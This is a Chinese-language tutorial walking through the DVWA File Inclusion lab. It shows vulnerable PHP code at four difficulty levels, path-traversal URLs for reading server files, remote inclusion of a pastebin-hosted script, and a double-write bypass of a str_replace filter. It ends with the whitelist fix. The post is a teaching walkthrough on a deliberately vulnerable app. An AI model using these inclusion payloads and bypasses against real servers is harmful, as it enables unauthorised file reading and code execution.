File Inclusion,文件包含漏洞是Web漏洞的一种类型,通常会影响依赖脚本运行的Web应用程序。当应用程序包含可执行代码的路径变量被攻击者控制, 攻击者就可以控制在运行时执行的文件
文件包含漏洞不同于一般的目录遍历攻击,因为目录遍历是获取未经授权的文件系统访问的一种方式,而文件包含漏洞则会破坏应用程序加载代码以执行的方式。成功利用文件包含漏洞将可以在Web服务器上执行远程代码。
php程序中,指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数,利用url去动态包含文件。此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
- include() 会将指定的文件读入并且执行里面的程序
- require() 会将目标文件的内容读入,并且把自己本身代换成这些读入的内容
- include_once() 和 include 语句完全相同,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次
- require_once() 和 require 语句完全相同,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次
下面看dvwa案例
注意:本例需要做2个准备工作
1.打开php的错误提示。
编辑/etc/php/7.0/apache2/php.ini,设置
display_errors = On
然后重启动apache服务
service apache2 restart
2.打开2个文件包含选项
编辑/etc/php/7.0/apache2/php.ini,设置
allow_url_fopen = On
allow_url_include = On
然后重启动apache服务
service apache2 restart
关于这2个选项说明,参见https://www.cnblogs.com/liruning/p/6023256.html
low
界面上有3个文件file1.php,file2.php,file3.php,点击后链接如下
http://192.168.99.100vulnerabilities/fi/?page=file1.php
其实就是显示3个文件内容。
我们来尝试一下一个不存在的文件
hhttp://192.168.99.100/vulnerabilities/fi/?page=1.php
界面显示如下
可以看到,发生了报错,并且把网站的路径都给暴露出来了。
尝试获取服务器上的文件内容
http://192.168.99.100/vulnerabilities/fi/?page=../../php.ini
结果
进服务器里看看是不是如此
root@90e68d944bc2:/var/www/html# more php.ini
; This file attempts to overwrite the original php.ini file. Doesnt always work.
magic_quotes_gpc = Off
allow_url_fopen on
allow_url_include on
再来一个,就知道能干什么了。这个是绝对路径。
好了,知道可以读取本地文件内容,再来尝试一下远程打开。
不过现在打开远程https链接的文件会报错,界面如下
查了网上文章https://www.cnblogs.com/zpsong/p/7465182.html
把cart.pem下载下来,然后复制到docker中(我的dvwa环境在docker toolbox中)
docker cp cacert.pem 7:/usr/local/cacert.pem
7是我dvwa的container id的第一个数字,写全也是可以的,我只有启动了一个image,所以用7就行了。
然后修改/etc/php/7.0/apache2/php.ini
openssl.cafile=/usr/local/cacert.pem
重启动apache就可以了。
现在我们可以来尝试远程文件了。还记得在CSP中提到过的pastein网站嘛。这次可以继续利用。写入以下代码
<script>alert("haha")</script>
尝试链接
成功执行了。
看一下源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
很简单,就是直接把page参数的值包含进来,任何措施都没有。
网上还有介绍远程后门植入的《中国菜刀》,也可以利用这种漏洞。
medium
直接看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
代码里增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符。
但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hth ttp://tp://xx 时,str_replace 函数只会过滤一个 http:// ,所以最终还是会包含到 h ttp://xx
所以上例中的链接可以输入如下,效果相同
http://192.168.99.100/vulnerabilities/fi/?page=hthttps://tps://pastebin.com/raw/R4pBMShL
本地文件,采用绝对路径是不会被过滤的。
high
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这次限制的是文件名。文件名必须为 file开头或者 include.php。
本地文件现在需要利用file协议来获取信息。
远程文件,那就需要利用文件上传漏洞才能实现。
impossible
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
类似白名单,文件名写死了,其他文件都不可能包含。